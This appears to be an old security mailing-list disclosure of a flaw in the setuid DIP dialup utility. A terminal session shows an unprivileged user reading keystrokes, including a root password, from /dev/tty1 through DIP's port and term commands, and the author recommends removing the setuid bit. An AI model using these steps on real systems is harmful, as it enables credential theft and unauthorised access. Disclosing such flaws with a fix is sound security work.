I seem to have stumbled across another vulnerability in DIP.  It
appears to allow any user to gain control of arbitrary devices in /dev.
For instance, I have successfully stolen keystrokes from a root login as
follows...  (I could also dump characters to the root console)

$ whoami
cesaro
$ cat < /dev/tty1                    <------ root login here
bash: /dev/tty1: Permission denied   <------ nope, we can see it
$ dip -t
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP> port tty1
DIP> echo on
DIP> term
[ Entering TERMINAL mode.  Use CTRL-] to get back ]
roots_password                       <------ OH, maybe we *CAN* see it!
[ Back to LOCAL mode. ]
DIP> quit
$

I'm sure there are many more creative things to do with this, but this is
the first thing that came to mind when I discovered it, and is a good
example of what can be done.  Not all devices are accessible.  I have not
looked into the patch at this time, but I recommend chmod u-s dip, as
usual! :)